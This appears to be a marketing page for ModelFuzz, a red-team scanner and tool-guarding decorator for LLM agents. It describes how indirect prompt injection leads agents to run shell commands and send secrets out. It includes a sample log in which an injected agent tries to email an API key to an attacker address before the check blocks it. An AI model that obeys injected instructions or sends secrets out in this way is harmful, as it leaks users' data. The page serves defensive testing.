The Threat
Prompt injection turns your agent's own tools against you.
A single poisoned document, email, or web page can hijack an LLM through indirect prompt injection, compromising LLM agent security at the source. The model thinks it's helping. It isn't.
!shell.run — arbitrary command execution on your infrastructure.
!http.post — silent exfiltration of secrets to an attacker's server.
!send_email — API keys and customer data leaked to [email protected].
!Prompt-level filters can't guarantee safety. Model behavior is non-deterministic.
Offense & Defense
Find the holes. Then seal them.
ModelFuzz ships with both halves of the security loop — a red-team scanner to expose vulnerable agents, and a decorator to shield them.
⚔ Offense
The Scanner
Red-team any OpenAI-compatible endpoint with deceptive prompt-injection payloads. See exactly which attacks trick your agent into calling a tool.
$ modelfuzz scan \ --endpoint http://localhost:11434/v1 \ --model qwen2.5
[🚨 VULNERABLE] Agent executed a tool [🚨 VULNERABLE] Confused-deputy bypass 3/5 payloads triggered a tool call.
🛡 Defense
The Shield
Wrap any tool with one decorator. Every argument is checked against your policies before the function runs — a violation raises before damage is done.
from modelfuzz import shield_tool
@shield_tool def send_email(to, subject, body): smtp.send(to, subject, body)
→ ModelFuzzBlockError on unsafe input
Live Interception
An attack, stopped in real time.
A prompt-injected agent tries to exfiltrate an API key. ModelFuzz catches it at the execution layer.
modelfuzz — blocked_attack.log
[🤖 LLM DECISION] The model was tricked by prompt injection! [🤖 LLM ARGUMENTS] {"to": "[email protected]", "body": "secret API_KEY sk-12345"}
[🛡️ MODEL FUZZ] Intercepting tool execution...
✅ MODEL FUZZ BLOCKED THE ATTACK! Reason: String contains sensitive keyword: 'secret'
Want a hosted dashboard for your team?
Centralized policies, audit logs, and continuous agent scanning. Join the waitlist for early access.
✅ You're on the list. We'll be in touch.